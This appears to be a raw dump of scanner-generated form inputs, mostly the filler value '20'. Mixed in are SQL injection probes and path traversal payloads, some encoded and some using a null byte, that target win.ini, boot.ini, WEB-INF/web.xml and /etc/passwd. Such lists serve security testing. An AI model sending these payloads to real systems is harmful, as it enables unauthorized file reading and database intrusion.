20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

0

0

0

0

0

0

0

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

0

20

0

20

20

20

20

20

20

20

20

20

20

20

-1" OR 2+161-161-1=0+0+0+1 --

20

1

20

20

-1 OR 2+868-868-1=0+0+0+1

-1 OR 2+48-48-1=0+0+0+1 --

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

20

WEB-INFweb.xml

20

WEB-INF/web.xml

1

20

20

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

20

20

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

20

20

/.\./.\./.\./.\./.\./.\./windows/win.ini

20

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

20

20

................windowswin.ini

20_9729

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

20

../../../../../../../../../../windows/win.ini%00.jpg

20

../../../../../../../../../../boot.ini

20

../../../../../../../../../../windows/win.ini

20

WEB-INFweb.xml

20

20

/WEB-INF/web.xml

(select convert(int,CHAR(65)))

20

WEB-INF/web.xml

20

/../../../../../../../etc/passwd

JyI=

20

20

file:///etc/passwd

@@r7DFB